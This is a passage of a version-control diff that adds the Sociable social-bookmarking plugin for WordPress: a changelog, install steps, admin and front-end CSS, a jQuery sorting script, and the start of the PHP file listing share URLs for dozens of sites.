+	* Tumblr (due to the change to a POST API, which we, unfortunately, can't support with Sociable)
+* Updated the following sites to include the excerpt when submitting:
+	* Connotea
+	* Delicious
+	* Digg
+	* Ekudos
+	* Google Bookmarks
+	* NuJij
+	* Ping.fm
+* Otherwise updated:
+	* Google Bookmarks (new icon)
+	* Fleck (New URL)
+	* Rec6 (new URL)
+
+= 3.1.1 =
+* Fixed bug with stylesheet introduced in 3.1.
+
+= 3.1 =
+* Converted all images to PNG.
+* Cleaned up usage of javascript in the backend and switched to the jquery library that comes with WordPress.
+* Allowed for usage of an external image directory.
+* Removed pre 2.6 compatibility fixes.
+
+= 3.0.6 = 
+* Fixed xhtml bug in Netvibes integration.
+* Added Bitacoras.
+
+= 3.0.5 = 
+* Added Identi.ca.
+* Fixed a bug in Yoast Posts widget.
+
+= 3.0.4 =
+* Added Netvibes.
+
+= 3.0.3 =
+* Security enhancements, thx to Mark Jaquith.
+
+= 3.0.2 =
+* Fixed CSS bug introduced in 3.0.
+
+= 3.0.1 =
+* Removed some other, now obsolete, code, reducing the code size by another 4KB.
+
+= 3.0 =
+* Fixed IE bug in admin. 
+* Cleaned up Admin Area and changed support messages. 
+* Removed directory checking for all images (speeds up incredibly). 
+* Made display: inline !important to prevent vertical icon display. 
+* Updated Wykop icon.
+
+= 2.9.15 =
+* Added a fallback for strip_shortcodes to maintain backwards compatibility with WordPress 2.3 and below.
+
+= 2.9.14 =
+* Made sure there are no tags or shortcodes in the excerpt.
+* Added ping.fm.
+* Removed indiagram (shut down).
+
+= 2.9.13 =
+* Changed Facebook link from sharer.php (meant for a popup window) to share.php (which has the actual menu on it etc.).
+
+= 2.9.12 =
+* Added Tip'd.
+
+= 2.9.11 =
+* Added settings link and Ozh admin menu icon.
+
+= 2.9.10 =
+* Fixes issue with excerpt not being urlencoded.
+
+= 2.9.9 =
+* Fixes for custom fields issues.
+
+= 2.9.8 =
+* Fixes for WP 2.7.
+
+= 2.9.6 =
+* Added Symbaloo and Tumblr.
+
+= 2.9.5 = 
+* Fixed Fark & Propeller links.
+* Added missing i18n strings.
+* Added Yahoo Buzz.
+
+= 2.9.4 =
+* Removed PopCurrent and Rawsugar as they no longer exist.
+* Renamed BlueDot to Faves.
+
+= 2.9.3 =
+* Added Leonaut & MySpace.
+* Fixed plugin description.
+* Added option to disable Sociable on a per post basis.
+* Added option to display sociable on tag pages.
+* Added extra security to config page.
+* Fixed print button.
+* Fixed Twitter functionality.
+
+= 2.9.2 =
+* Added Swedish and Chinese localisations, thx to [Mikael Jorhult](http://www.mishkin.se/) and [Hugo Chen](http://take-ez.com/).
+
+= 2.9.1 =
+* Fixed bug where jQuery UI would be loaded twice.
+
+= 2.9 = 
+* Removed Tool-Man in favor of jQuery, thx to Martin Joosse.
+
+= 2.8.4 =
+* General bugfixes.
+
+= 2.8.3 = 
+* Added wikio.it, upnews.it, muti.co.za.
+* Made LinkedIn work even better.
+* Made opening in a new window optional.
+
+= 2.8.2 = 
+* Now adds icons to feeds with excerpts too. 
+* Added LinkedIn.
+
+= 2.8.1 =
+* Fixed some small issues.
+* Made sure tagline shows up again.
+
+= 2.8 =
+* Added option to show bookmark icons in feed.
+* Added Ratimarks.
+* Fixed xhtml compliance.
+* Fixed blue dot bug.
+
+= 2.6.9 =
+* Fixed WP 2.6 compatibility.
+
+= 2.6.8 =
+* Updated inline documentation.
+
+= 2.6.7 =
+* Renamed Sk*rt to Kirtsy.
+* Added designfloat.
+* Fixed description.
+
+= 2.5.4 =
+* Added HealthRanker, N4G, Meneame, BarraPunto, Laaik.it and E-mail option.
+
+= 2.5.3 =
+* Added Global Grind, Salesmarks, Webnews.de, Xerpi, Yigg.
+
+= 2.5.2 =
+* Added NuJIJ, eKudos, Sk-rt, Socialogs and MisterWong.de.
+
+= 2.5.1 =
+* Swapped Netscape for Propeller.
+
+Special thanks to [Robert Harm](http://www.die-truppe.com/) for coming up with loads of nice ideas.
+
+== Installation ==
+
+Download, Upgrading, Installation:
+
+Upgrade
+
+1. First deactivate Sociable
+1. Remove the `sociable` directory
+
+**Install**
+
+1. Unzip the `sociable.zip` file. 
+1. Upload the the `sociable` folder (not just the files in it!) to your `wp-contents/plugins` folder. If you're using FTP, use 'binary' mode.
+
+**Activate**
+
+1. In your WordPress administration, go to the Plugins page
+1. Activate the Sociable plugin and a subpage for Sociable will appear
+   in your Options menu.
+
+If you find any bugs or have any ideas, please mail me.
+
+**Advanced Users**
+
+For advanced use of the plugin, see the [Sociable](http://yoast.com/wordpress/sociable/) page on [Yoast](http://yoast.com/)
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.css	(revision 44)
@@ -0,0 +1,48 @@
+.sociablemenu li {
+	list-style-type: square;
+	margin-left: 20px;
+	padding-left: 5px;
+}
+#sociable_site_list {
+	list-style-type: none;
+	margin: 0 auto;
+	padding: 0;
+	font-size: 80%;
+}
+#sociable_site_list li {
+	list-style-type: none;
+	cursor: move;
+	float: left;
+	margin: 2px 2px 0 0;
+	width: 135px;
+	height: 20px;
+	text-align: left;
+	font-size: 10px;
+	padding: 4px;
+	-moz-border-radius: 5px;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+}
+#sociable_site_list li.active { 
+	background-color: #6da6d1; 
+}
+#sociable_site_list li.active img {
+	opacity: 1;
+	-moz-opacity: 1;
+	filter:alpha(opacity=100);
+}
+#sociable_site_list li.inactive { 
+	background-color: #dddddd; 
+}
+#sociable_site_list li.inactive img {
+	opacity: .4;
+	-moz-opacity: .4;
+	filter:alpha(opacity=40);
+}
+#sociable_site_list li input {
+	height: 12px;
+	margin: 0 5px 8px 0;
+	padding: 0;
+	background: transparent;
+	border: none;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable-admin.js	(revision 44)
@@ -0,0 +1,13 @@
+jQuery(document).ready(function(){
+	jQuery("#sociable_site_list").sortable({});
+
+	jQuery("#sociable_site_list input:checkbox").change(function() {
+		if (jQuery(this).attr('checked')) {
+			jQuery(this).parent().removeClass("inactive");
+			jQuery(this).parent().addClass("active");
+		} else {
+			jQuery(this).parent().removeClass('active');
+			jQuery(this).parent().addClass('inactive');
+		}
+	} );
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.css	(revision 44)
@@ -0,0 +1,48 @@
+div.sociable { margin: 16px 0; }
+
+span.sociable_tagline { position: relative; }
+span.sociable_tagline span { display: none; width: 14em; }
+span.sociable_tagline:hover span {
+	position: absolute;
+	display: block;
+	top: -5em;
+	background: #ffe;
+	border: 1px solid #ccc;
+	color: black;
+	line-height: 1.25em;
+}
+.sociable span {
+	display: block;
+}
+.sociable ul {
+	display: inline;
+	margin: 0 !important;
+	padding: 0 !important;
+}
+.sociable ul li {
+	background: none;
+	display: inline !important;
+	list-style-type: none;
+	margin: 0;
+	padding: 1px;
+}
+.sociable ul li:before { content: ""; }
+.sociable img {
+	float: none;
+	width: 16px;
+	height: 16px;
+	border: 0;
+	margin: 0;
+	padding: 0;
+}
+
+.sociable-hovers {
+	opacity: .4;
+	-moz-opacity: .4;
+	filter: alpha(opacity=40);
+}
+.sociable-hovers:hover {
+	opacity: 1;
+	-moz-opacity: 1;
+	filter: alpha(opacity=100);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/sociable.php	(revision 44)
@@ -0,0 +1,1229 @@
+<?php
+/*
+Plugin Name: Sociable
+Plugin URI: http://yoast.com/wordpress/sociable/
+Description: Automatically add links on your posts, pages and RSS feed to your favorite social bookmarking sites. 
+Version: 3.4.4
+Author: Joost de Valk
+Author URI: http://yoast.com/
+
+Copyright 2006 Peter Harkins (ph@malaprop.org)
+Copyright 2008-2009 Joost de Valk (joost@yoast.com)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+/**
+ * Determine the location
+ */
+$sociablepluginpath = WP_CONTENT_URL.'/plugins/'.plugin_basename(dirname(__FILE__)).'/';
+
+/**
+ * For backwards compatibility, esc_attr was added in 2.8
+ */
+if (! function_exists('esc_attr')) {
+	function esc_attr( $text ) {
+		return attribute_escape( $text );
+	}
+}
+
+/**
+ * This function makes sure Sociable is able to load the different language files from
+ * the i18n subfolder of the Sociable directory
+ **/
+function sociable_init_locale(){
+	global $sociablepluginpath;
+	load_plugin_textdomain('sociable', false, 'i18n');
+}
+add_filter('init', 'sociable_init_locale');
+
+
+/**
+ * @global array Contains all sites that Sociable supports, array items have 4 keys:
+ * required favicon - the favicon for the site, a 16x16px PNG, to be found in the images subdirectory
+ * required url - submit URL of the site, containing at least PERMALINK
+ * description - description, used in several spots, but most notably as alt and title text for the link
+ * awesm_channel - the channel awe.sm files the traffic under
+ */
+$sociable_known_sites = Array(
+
+	'BarraPunto' => Array(
+		'favicon' => 'barrapunto.png',
+		'url' => 'http://barrapunto.com/submit.pl?subj=TITLE&amp;story=PERMALINK',
+	),
+	
+	'Bitacoras.com' => Array(
+		'favicon' => 'bitacoras.png',
+		'url' => 'http://bitacoras.com/anotaciones/PERMALINK',
+	),
+	
+	'BlinkList' => Array(
+		'favicon' => 'blinklist.png',
+		'url' => 'http://www.blinklist.com/index.php?Action=Blink/addblink.php&amp;Url=PERMALINK&amp;Title=TITLE',
+	),
+
+	'BlogMemes Fr' => Array(
+		'favicon' => 'blogmemes.png',
+		'url' => 'http://www.blogmemes.fr/post.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'BlogMemes Sp' => Array(
+		'favicon' => 'blogmemes.png',
+		'url' => 'http://www.blogmemes.com/post.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'blogmarks' => Array(
+		'favicon' => 'blogmarks.png',
+		'url' => 'http://blogmarks.net/my/new.php?mini=1&amp;simple=1&amp;url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Blogosphere News' => Array(
+		'favicon' => 'blogospherenews.png',
+		'url' => 'http://www.blogospherenews.com/submit.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'blogtercimlap' => Array(
+		'favicon' => 'blogter.png',
+		'url' => 'http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=TITLE&amp;url=PERMALINK',
+	),
+
+	'Faves' => Array(
+		'favicon' => 'bluedot.png',
+		'url' => 'http://faves.com/Authoring.aspx?u=PERMALINK&amp;title=TITLE',
+	),
+
+	'co.mments' => Array(
+		'favicon' => 'co.mments.png',
+		'url' => 'http://co.mments.com/track?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'connotea' => Array(
+		'favicon' => 'connotea.png',
+		'url' => 'http://www.connotea.org/addpopup?continue=confirm&amp;uri=PERMALINK&amp;title=TITLE&amp;description=EXCERPT',
+	),
+
+	'Current' => Array(
+		'favicon' => 'current.png',
+		'url' => 'http://current.com/clipper.htm?url=PERMALINK&amp;title=TITLE'
+	),
+	
+	'del.icio.us' => Array(
+		'favicon' => 'delicious.png',
+		'url' => 'http://delicious.com/post?url=PERMALINK&amp;title=TITLE&amp;notes=EXCERPT',
+	),
+
+	'Design Float' => Array(
+		'favicon' => 'designfloat.png',
+		'url' => 'http://www.designfloat.com/submit.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Digg' => Array(
+		'favicon' => 'digg.png',
+		'url' => 'http://digg.com/submit?phase=2&amp;url=PERMALINK&amp;title=TITLE&amp;bodytext=EXCERPT',
+		'description' => 'Digg',
+	),
+
+	'Diigo' => Array(
+		'favicon' => 'diigo.png',
+		'url' => 'http://www.diigo.com/post?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'DotNetKicks' => Array(
+		'favicon' => 'dotnetkicks.png',
+		'url' => 'http://www.dotnetkicks.com/kick/?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'DZone' => Array(
+		'favicon' => 'dzone.png',
+		'url' => 'http://www.dzone.com/links/add.html?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'eKudos' => Array(
+		'favicon' => 'ekudos.png',
+		'url' => 'http://www.ekudos.nl/artikel/nieuw?url=PERMALINK&amp;title=TITLE&amp;desc=EXCERPT',
+	),
+
+	'email' => Array(
+		'favicon' => 'email_link.png',
+		'url' => 'mailto:?subject=TITLE&amp;body=PERMALINK',
+		'awesm_channel' => 'mailto',
+		'description' => __('E-mail this story to a friend!','sociable'),
+	),
+
+	'Facebook' => Array(
+		'favicon' => 'facebook.png',
+		'awesm_channel' => 'facebook-post',
+		'url' => 'http://www.facebook.com/share.php?u=PERMALINK&amp;t=TITLE',
+	),
+
+	'Fark' => Array(
+		'favicon' => 'fark.png',
+		'url' => 'http://cgi.fark.com/cgi/fark/farkit.pl?h=TITLE&amp;u=PERMALINK',
+	),
+
+	'Fleck' => Array(
+		'favicon' => 'fleck.png',
+		'url' => 'http://beta3.fleck.com/bookmarklet.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'FriendFeed' => Array(
+		'favicon' => 'friendfeed.png',
+		'url' => 'http://www.friendfeed.com/share?title=TITLE&amp;link=PERMALINK',
+	),
+
+	'FSDaily' => Array(
+		'favicon' => 'fsdaily.png',
+		'url' => 'http://www.fsdaily.com/submit?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Global Grind' => Array (
+		'favicon' => 'globalgrind.png',
+		'url' => 'http://globalgrind.com/submission/submit.aspx?url=PERMALINK&amp;type=Article&amp;title=TITLE'
+	),
+	
+	'Google' => Array (
+		'favicon' => 'googlebookmark.png',
+		'url' => 'http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=PERMALINK&amp;title=TITLE&amp;annotation=EXCERPT',
+		'description' => 'Google Bookmarks'
+	),
+	
+	'Gwar' => Array(
+		'favicon' => 'gwar.png',
+		'url' => 'http://www.gwar.pl/DodajGwar.html?u=PERMALINK',
+	),
+
+	'HackerNews' => Array(
+		'favicon' => 'hackernews.png',
+		'url' => 'http://news.ycombinator.com/submitlink?u=PERMALINK&amp;t=TITLE',
+	),
+
+	'Haohao' => Array(
+		'favicon' => 'haohao.png',
+		'url' => 'http://www.haohaoreport.com/submit.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'HealthRanker' => Array(
+		'favicon' => 'healthranker.png',
+		'url' => 'http://healthranker.com/submit.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'HelloTxt' => Array(
+        'favicon' => 'hellotxt.png',
+        'url' => 'http://hellotxt.com/?status=TITLE+PERMALINK',
+    ),
+
+	'Hemidemi' => Array(
+		'favicon' => 'hemidemi.png',
+		'url' => 'http://www.hemidemi.com/user_bookmark/new?title=TITLE&amp;url=PERMALINK',
+	),
+
+	'Hyves' => Array(
+		'favicon' => 'hyves.png',
+		'url' => 'http://www.hyves.nl/profilemanage/add/tips/?name=TITLE&amp;text=EXCERPT+PERMALINK&amp;rating=5',
+	),
+
+	'Identi.ca' => Array(
+		'favicon' => 'identica.png',
+		'url' => 'http://identi.ca/notice/new?status_textarea=PERMALINK',
+	),
+
+	'IndianPad' => Array(
+		'favicon' => 'indianpad.png',
+		'url' => 'http://www.indianpad.com/submit.php?url=PERMALINK',
+	),
+
+	'Internetmedia' => Array(
+		'favicon' => 'im.png',
+		'url' => 'http://internetmedia.hu/submit.php?url=PERMALINK'
+	),
+
+	'Kirtsy' => Array(
+		'favicon' => 'kirtsy.png',
+		'url' => 'http://www.kirtsy.com/submit.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'laaik.it' => Array(
+		'favicon' => 'laaikit.png',
+		'url' => 'http://laaik.it/NewStoryCompact.aspx?uri=PERMALINK&amp;headline=TITLE&amp;cat=5e082fcc-8a3b-47e2-acec-fdf64ff19d12',
+	),
+
+	'LinkArena' => Array(
+		'favicon' => 'linkarena.png',
+		'url' => 'http://linkarena.com/bookmarks/addlink/?url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'LinkaGoGo' => Array(
+		'favicon' => 'linkagogo.png',
+		'url' => 'http://www.linkagogo.com/go/AddNoPopup?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'LinkedIn' => Array(
+		'favicon' => 'linkedin.png',
+		'url' => 'http://www.linkedin.com/shareArticle?mini=true&amp;url=PERMALINK&amp;title=TITLE&amp;source=BLOGNAME&amp;summary=EXCERPT',
+	),
+
+	'Linkter' => Array(
+		'favicon' => 'linkter.png',
+		'url' => 'http://www.linkter.hu/index.php?action=suggest_link&amp;url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'Live' => Array(
+		'favicon' => 'live.png',
+		'url' => 'https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Meneame' => Array(
+		'favicon' => 'meneame.png',
+		'url' => 'http://meneame.net/submit.php?url=PERMALINK',
+	),
+	
+	'MisterWong' => Array(
+		'favicon' => 'misterwong.png',
+		'url' => 'http://www.mister-wong.com/addurl/?bm_url=PERMALINK&amp;bm_description=TITLE&amp;plugin=soc',
+	),
+
+	'MisterWong.DE' => Array(
+		'favicon' => 'misterwong.png',
+		'url' => 'http://www.mister-wong.de/addurl/?bm_url=PERMALINK&amp;bm_description=TITLE&amp;plugin=soc',
+	),
+	
+	'Mixx' => Array(
+		'favicon' => 'mixx.png',
+		'url' => 'http://www.mixx.com/submit?page_url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'muti' => Array(
+		'favicon' => 'muti.png',
+		'url' => 'http://www.muti.co.za/submit?url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'MyShare' => Array(
+		'favicon' => 'myshare.png',
+		'url' => 'http://myshare.url.com.tw/index.php?func=newurl&amp;url=PERMALINK&amp;desc=TITLE',
+	),
+
+	'MySpace' => Array(
+		'favicon' => 'myspace.png',
+		'awesm_channel' => 'myspace',
+		'url' => 'http://www.myspace.com/Modules/PostTo/Pages/?u=PERMALINK&amp;t=TITLE',
+	),
+
+	'MSNReporter' => Array(
+		'favicon' => 'msnreporter.png',
+		'url' => 'http://reporter.nl.msn.com/?fn=contribute&amp;Title=TITLE&amp;URL=PERMALINK&amp;cat_id=6&amp;tag_id=31&amp;Remark=EXCERPT',
+		'description' => 'MSN Reporter'
+	),
+	
+	'N4G' => Array(
+		'favicon' => 'n4g.png',
+		'url' => 'http://www.n4g.com/tips.aspx?url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'Netvibes' => Array(
+		'favicon' => 'netvibes.png',
+		'url' =>	'http://www.netvibes.com/share?title=TITLE&amp;url=PERMALINK',
+	),
+		
+	'NewsVine' => Array(
+		'favicon' => 'newsvine.png',
+		'url' => 'http://www.newsvine.com/_tools/seed&amp;save?u=PERMALINK&amp;h=TITLE',
+	),
+
+	'Netvouz' => Array(
+		'favicon' => 'netvouz.png',
+		'url' => 'http://www.netvouz.com/action/submitBookmark?url=PERMALINK&amp;title=TITLE&amp;popup=no',
+	),
+
+	'NuJIJ' => Array(
+		'favicon' => 'nujij.png',
+		'url' => 'http://nujij.nl/jij.lynkx?t=TITLE&amp;u=PERMALINK&amp;b=EXCERPT',
+	),
+	
+	'Ping.fm' => Array(
+		'favicon' => 'ping.png',
+		'awesm_channel' => 'pingfm',
+		'url' => 'http://ping.fm/ref/?link=PERMALINK&amp;title=TITLE&amp;body=EXCERPT',
+	),
+
+	'Posterous' => Array(
+		'favicon' => 'posterous.png',
+		'url' => 'http://posterous.com/share?linkto=PERMALINK&amp;title=TITLE&amp;selection=EXCERPT',
+	),
+	
+	'ppnow' => Array(
+		'favicon' => 'ppnow.png',
+		'url' => 'http://www.ppnow.net/submit.php?url=PERMALINK',
+	),
+	
+	'PDF' => Array(
+		'favicon' => 'pdf.png',
+		'url' => 'http://www.printfriendly.com/print?url=PERMALINK&amp;partner=sociable',
+		'description' => __('Turn this article into a PDF!', 'sociable'),
+	),
+	
+	'Print' => Array(
+		'favicon' => 'printfriendly.png',
+		'url' => 'http://www.printfriendly.com/print?url=PERMALINK&amp;partner=sociable',
+		'description' => __('Print this article!', 'sociable'),
+	),
+	
+	'Propeller' => Array(
+		'favicon' => 'propeller.png',
+		'url' => 'http://www.propeller.com/submit/?url=PERMALINK',
+	),
+
+	'Ratimarks' => Array(
+		'favicon' => 'ratimarks.png',
+		'url' => 'http://ratimarks.org/bookmarks.php/?action=add&address=PERMALINK&amp;title=TITLE',
+	),
+
+	'Rec6' => Array(
+		'favicon' => 'rec6.png',
+		'url' => 'http://rec6.via6.com/link.php?url=PERMALINK&amp;=TITLE',
+	),
+
+	'Reddit' => Array(
+		'favicon' => 'reddit.png',
+		'url' => 'http://reddit.com/submit?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'RSS' => Array(
+		'favicon' => 'rss.png',
+		'url' => 'FEEDLINK',
+	),
+	
+	'Scoopeo' => Array(
+		'favicon' => 'scoopeo.png',
+		'url' => 'http://www.scoopeo.com/scoop/new?newurl=PERMALINK&amp;title=TITLE',
+	),	
+
+	'Segnalo' => Array(
+		'favicon' => 'segnalo.png',
+		'url' => 'http://segnalo.alice.it/post.html.php?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Simpy' => Array(
+		'favicon' => 'simpy.png',
+		'url' => 'http://www.simpy.com/simpy/LinkAdd.do?href=PERMALINK&amp;title=TITLE',
+	),
+
+	'Slashdot' => Array(
+		'favicon' => 'slashdot.png',
+		'url' => 'http://slashdot.org/bookmark.pl?title=TITLE&amp;url=PERMALINK',
+	),
+
+	'Socialogs' => Array(
+		'favicon' => 'socialogs.png',
+		'url' => 'http://socialogs.com/add_story.php?story_url=PERMALINK&amp;story_title=TITLE',
+	),
+	
+	'SphereIt' => Array(
+		'favicon' => 'sphere.png',
+		'url' => 'http://www.sphere.com/search?q=sphereit:PERMALINK&amp;title=TITLE',
+	),
+
+	'Sphinn' => Array(
+		'favicon' => 'sphinn.png',
+		'url' => 'http://sphinn.com/index.php?c=post&m=submit&link=PERMALINK',
+	),
+
+	'StumbleUpon' => Array(
+		'favicon' => 'stumbleupon.png',
+		'url' => 'http://www.stumbleupon.com/submit?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'Symbaloo' => Array(
+		'favicon' => 'symbaloo.png',
+		'url' => 'http://www.symbaloo.com/nl/add/url=PERMALINK&amp;title=TITLE&amp;icon=http%3A//static01.symbaloo.com/_img/favicon.png',
+	),
+	
+	'Techmeme' => Array( 
+		'favicon' => 'techmeme.png',
+		'awesm_channel' => 'twitter-techmeme', 
+		'url' => 'http://twitter.com/home/?status=tip%20@Techmeme%20PERMALINK%20TITLE', 
+		'description' => 'Suggest to Techmeme via Twitter'
+	), 
+
+	'Technorati' => Array(
+		'favicon' => 'technorati.png',
+		'url' => 'http://technorati.com/faves?add=PERMALINK',
+	),
+
+	'ThisNext' => Array(
+		'favicon' => 'thisnext.png',
+		'url' => 'http://www.thisnext.com/pick/new/submit/sociable/?url=PERMALINK&amp;name=TITLE',
+	),
+
+	'Tipd' => Array(
+		'favicon' => 'tipd.png',
+		'url' => 'http://tipd.com/submit.php?url=PERMALINK',
+	),
+	
+	'Tumblr' => Array(
+		'favicon' => 'tumblr.png',
+		'url' => 'http://www.tumblr.com/share?v=3&amp;u=PERMALINK&amp;t=TITLE&amp;s=EXCERPT',
+	),
+	
+	'Twitthis' => Array(
+		'favicon' => 'twitter.png',
+		'awesm_channel' => 'twitter',
+		'url' => 'http://twitter.com/home?status=TITLE%20-%20PERMALINK',
+	),
+
+	'Twitter' => Array(
+		'favicon' => 'twitter.png',
+		'awesm_channel' => 'twitter',
+		'url' => 'http://twitter.com/home?status=TITLE%20-%20PERMALINK',
+	),
+
+	'Upnews' => Array(
+			'favicon' => 'upnews.png',
+			'url' => 'http://www.upnews.it/submit?url=PERMALINK&amp;title=TITLE',
+	),
+	
+	'Webnews.de' => Array(
+        'favicon' => 'webnews.png',
+        'url' => 'http://www.webnews.de/einstellen?url=PERMALINK&amp;title=TITLE',
+    ),
+
+	'Webride' => Array(
+		'favicon' => 'webride.png',
+		'url' => 'http://webride.org/discuss/split.php?uri=PERMALINK&amp;title=TITLE',
+	),
+
+	'Wikio' => Array(
+		'favicon' => 'wikio.png',
+		'url' => 'http://www.wikio.com/vote?url=PERMALINK',
+	),
+
+	'Wikio FR' => Array(
+		'favicon' => 'wikio.png',
+		'url' => 'http://www.wikio.fr/vote?url=PERMALINK',
+	),
+
+	'Wikio IT' => Array(
+		'favicon' => 'wikio.png',
+		'url' => 'http://www.wikio.it/vote?url=PERMALINK',
+	),
+	
+	'Wists' => Array(
+		'favicon' => 'wists.png',
+		'url' => 'http://wists.com/s.php?c=&amp;r=PERMALINK&amp;title=TITLE',
+		'class' => 'wists',
+	),
+
+	'Wykop' => Array(
+		'favicon' => 'wykop.png',
+		'url' => 'http://www.wykop.pl/dodaj?url=PERMALINK',
+	),
+
+	'Xerpi' => Array(
+		'favicon' => 'xerpi.png',
+		'url' => 'http://www.xerpi.com/block/add_link_from_extension?url=PERMALINK&amp;title=TITLE',
+	),
+
+	'YahooBuzz' => Array(
+		'favicon' => 'yahoobuzz.png',
+		'url' => 'http://buzz.yahoo.com/submit/?submitUrl=PERMALINK&amp;submitHeadline=TITLE&amp;submitSummary=EXCERPT&amp;submitCategory=science&amp;submitAssetType=text',
+		'description' => 'Yahoo! Buzz',
+	),
+	
+	'Yahoo! Bookmarks' => Array(
+		'favicon' => 'yahoomyweb.png',
+		'url' => 'http://bookmarks.yahoo.com/toolbar/savebm?u=PERMALINK&amp;t=TITLE&opener=bm&amp;ei=UTF-8&amp;d=EXCERPT',
+	),
+
+	'Yigg' => Array(
+		'favicon' => 'yiggit.png',
+		'url' => 'http://yigg.de/neu?exturl=PERMALINK&amp;exttitle=TITLE',
+	 ),
+);
+
+/**
+ * Returns the Sociable links list.
+ *
+ * @param array $display optional list of links to return in HTML
+ * @global $sociable_known_sites array the list of sites that Sociable uses
+ * @global $sociablepluginpath string the path to the plugin
+ * @global $wp_query object the WordPress query object
+ * @return string $html HTML for links list.
+ */
+function sociable_html($display=array()) {
+	global $sociable_known_sites, $sociablepluginpath, $wp_query, $post; 
+
+	if (get_post_meta($post->ID,'_sociableoff',true)) {
+		return "";
+	}
+
+	/**
+	 * Make it possible for other plugins or themes to add buttons to Sociable
+	 */
+	$sociable_known_sites = apply_filters('sociable_known_sites',$sociable_known_sites);
+
+	$active_sites = get_option('sociable_active_sites');
+
+	// If a path is specified where Sociable should find its images, use that, otherwise, 
+	// set the image path to the images subdirectory of the Sociable plugin.
+	// Image files need to be png's.
+	$imagepath = get_option('sociable_imagedir');
+	if ($imagepath == "")
+		$imagepath = $sociablepluginpath.'images/';		
+
+	// if no sites are specified, display all active
+	// have to check $active_sites has content because WP
+	// won't save an empty array as an option
+	if (empty($display) and $active_sites)
+		$display = $active_sites;
+	// if no sites are active, display nothing
+	if (empty($display))
+		return "";
+
+	// Load the post's and blog's data
+	$blogname 	= urlencode(get_bloginfo('name')." ".get_bloginfo('description'));
+	$blogrss	= get_bloginfo('rss2_url'); 
+	$post 		= $wp_query->post;
+	
+	// Grab the excerpt, if there is no excerpt, create one
+	$excerpt	= urlencode(strip_tags(strip_shortcodes($post->post_excerpt)));
+	if ($excerpt == "") {
+		$excerpt = urlencode(substr(strip_tags(strip_shortcodes($post->post_content)),0,250));
+	}
+	// Clean the excerpt for use with links
+	$excerpt	= str_replace('+','%20',$excerpt);
+	$permalink 	= urlencode(get_permalink($post->ID));
+	$title 		= str_replace('+','%20',urlencode($post->post_title));
+	
+	$rss 		= urlencode(get_bloginfo('ref_url'));
+
+	// Start preparing the output
+	$html = "\n<div class=\"sociable\">\n";
+	
+	// If a tagline is set, display it above the links list
+	$tagline = get_option("sociable_tagline");
+	if ($tagline != "") {
+		$html .= "<div class=\"sociable_tagline\">\n";
+		$html .= stripslashes($tagline);
+		$html .= "\n</div>";
+	}
+	
+	/**
+	 * Start the list of links
+	 */
+	$html .= "\n<ul>\n";
+
+	$i = 0;
+	$totalsites = count($display);
+	foreach($display as $sitename) {
+		/**
+		 * If they specify an unknown or inactive site, ignore it.
+		 */
+		if (!in_array($sitename, $active_sites))
+			continue;
+
+		$site = $sociable_known_sites[$sitename];
+
+		$url = $site['url'];
+		$url = str_replace('TITLE', $title, $url);
+		$url = str_replace('RSS', $rss, $url);
+		$url = str_replace('BLOGNAME', $blogname, $url);
+		$url = str_replace('EXCERPT', $excerpt, $url);
+		$url = str_replace('FEEDLINK', $blogrss, $url);
+		
+		if (isset($site['description']) && $site['description'] != "") {
+			$description = $site['description'];
+		} else {
+			$description = $sitename;
+		}
+
+		if (get_option('sociable_awesmenable') == true &! empty($site['awesm_channel']) ) {
+			/**
+			 * if awe.sm is enabled and it is an awe.sm supported site, use awe.sm
+			 */
